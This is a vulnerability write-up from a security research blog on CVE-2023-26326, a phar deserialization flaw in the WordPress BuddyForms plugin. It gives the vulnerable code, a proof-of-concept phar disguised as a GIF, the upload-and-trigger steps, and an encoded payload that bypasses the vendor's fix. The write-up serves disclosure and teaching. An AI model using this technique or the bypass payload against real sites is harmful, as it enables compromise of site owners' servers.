WordPress BuddyForms Plugin — Unauthenticated Insecure Deserialization (CVE-2023–26326)

Joshua Martinelle
Tenable TechBlog
Published in
5 min readMar 7, 2023

--

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

In this article, we will analyze an unauthenticated insecure deserialization vulnerability found in the in the BuddyForm plugin.

Reference: https://wordpress.org/plugins/buddyforms/
Affected Versions: < 2.7.8
CVSSv3 Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSSv3 Score: 8.1

BuddyForms is a simple drag and drop form builder with ready to use form templates that give you all the form types with on click.

In the vulnerable versions, the problem lies in the ‘buddyforms_upload_image_from_url()’ function of the ‘./includes/functions.php’ file

function buddyforms_upload_image_from_url() {
$url = isset( $_REQUEST['url'] ) ? wp_kses_post( wp_unslash( $_REQUEST['url'] ) ) : '';
$file_id = isset( $_REQUEST['id'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['id'] ) ) : '';
$accepted_files = isset( $_REQUEST['accepted_files'] ) ? explode( ',', buddyforms_sanitize( '', wp_unslash( $_REQUEST['accepted_files'] ) ) ) : array( 'jpeg' );

if ( ! empty( $url ) && ! empty( $file_id ) ) {
$upload_dir = wp_upload_dir();
$image_url = urldecode( $url );
$image_data = file_get_contents( $image_url ); // Get image data
$image_data_information = getimagesize( $image_url );
$image_mime_information = $image_data_information['mime'];

if ( ! in_array( $image_mime_information, $accepted_files ) ) {
echo wp_json_encode(
array(
'status' => 'FAILED',
'response' => __(
'File type ' . $image_mime_information . ' is not allowed.',
'budduforms'
),
)
);
die();
}

if ( $image_data && $image_data_information ) {
$file_name = $file_id . '.png';
$full_path = wp_normalize_path( $upload_dir['path'] . DIRECTORY_SEPARATOR . $file_name );
$upload_file = wp_upload_bits( $file_name, null, $image_data );
if ( ! $upload_file['error'] ) {
$wp_filetype = wp_check_filetype( $file_name, null );
$attachment = array(
'post_mime_type' => $wp_filetype['type'],
'post_title' => preg_replace( '/\.[^.]+$/', '', $file_name ),
'post_content' => '',
'post_status' => 'inherit',
);
$attachment_id = wp_insert_attachment( $attachment, $upload_file['file'] );
$url = wp_get_attachment_thumb_url( $attachment_id );
echo wp_json_encode(
array(
'status' => 'OK',
'response' => $url,
'attachment_id' => $attachment_id,
)
);
die();
}

[...]
}

This function has several problems that allow to perform an insecure deserialization in several steps.

  1. The ‘url’ parameter’ accept an arbitrary value, no verification is done
  2. The ‘accepted_files’ parameter can be added to the request to specify an arbitrary mime type which allows to bypass the mime verification type
  3. The PHP function ‘getimagesize()’ is used, this function does not check the file and therefore assumes that it is an image that is passed to it. However, if a non-image file is supplied, it may be incorrectly detected as an image and the function will successfully return
  4. The PHP function ‘file_get_contents()’ is used without any prior check. This function allows the use of the ‘phar://’ wrapper. The Phar (PHP Archive) files contain metadata in serialized format, so when they are parsed, this metadata is deserialized.

If all conditions are met, the file is downloaded and stored on the server and the URL of the image is returned to the user.

The exploitation of this vulnerability is based on 3 steps

  1. Create a malicious phar file by making it look like an image.
  2. Send the malicious phar file on the server
  3. Call the file with the ‘phar://’ wrapper.

The main difficulty in exploiting this vulnerability is to find a gadget chain. There are several known gadgets chain for WordPress but they are no longer valid on the latest versions.

The plugin itself does not seem to contain any gadget chain either. So, in order to trigger the vulnerability we will simulate the presence of a plugin allowing the exploitation.

So we can add a fake WordPress extension named “dummy”, which contains only a file “dummy.php” with the following code :

<?php
/*
Plugin Name: Dummy
*/

class Evil {
public function __wakeup() : void {
die("Arbitrary deserialization");
}
}

function display_hello_world() {
echo "Hello World";
}

add_action('wp_footer', 'display_hello_world');

Proof Of Concept

The first step of our exploitation is to create our malicious phar archive which will have to pretend to be an image :

<?php

class Evil{
public function __wakeup() : void {
die("Arbitrary Deserialization");
}
}


//create new Phar
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();

Note the presence of ‘GIF89a’ which will make the plugin believe that our file is a GIF image

root@vmi652687:/tmp# php --define phar.readonly=0 evil.php
root@vmi652687:/tmp# strings evil.phar
GIF89a
<?php __HALT_COMPILER(); ?>
O:4:"Evil":0:{}
test.txt
text
WJFP5
GBMB

So as a reminder, our WordPress installation has two plugins, BuddyForms as well as our ‘dummy’ plugin which simulates a vulnerable plugin allowing a gadget chain

We send our file to the server via a POST request containing the correct parameters expected by the function described above

The server answers OK and tells us that the file is available at the URL http://domain.tld/wp-content/uploads/2023/02/1.png which can be checked by opening the corresponding folder in your browser

So we just have to do the same action again, except that this time we will use the phar:// wrapper in the URL and indicate the path of our file.

By chance, the structure of wordpress folders is always the same, you just have to go up one folder to access wp-content. So, it is possible to use the relative path to our file stored on the server

And voila, we managed to trigger an arbitrary deserialization

As sometimes a picture is worth a thousand words, here is a diagram that summarizes the explanation

The fix

In version 2.7.8, the author has made a simple fix, just check if the ‘phar://’ wrapper is used

if ( strpos( $valid_url, 'phar://' ) !== false ) {
return;
}

In my opinion, this correction seems insufficient because the downloaded file is still not verified, it would still be possible to exploit the vulnerability if another plugin allows to call an arbitrary file.

[EDIT] : Jesús Calderón identified a bypass for this fix. The check added, does not check that the value of ‘$valid_url’ is decoded
So, is possible to use the following payload :

phar%253a%252f%252f..%252fwp-content%252fuploads%252f2023%252f03%252fpayload.phar

--

--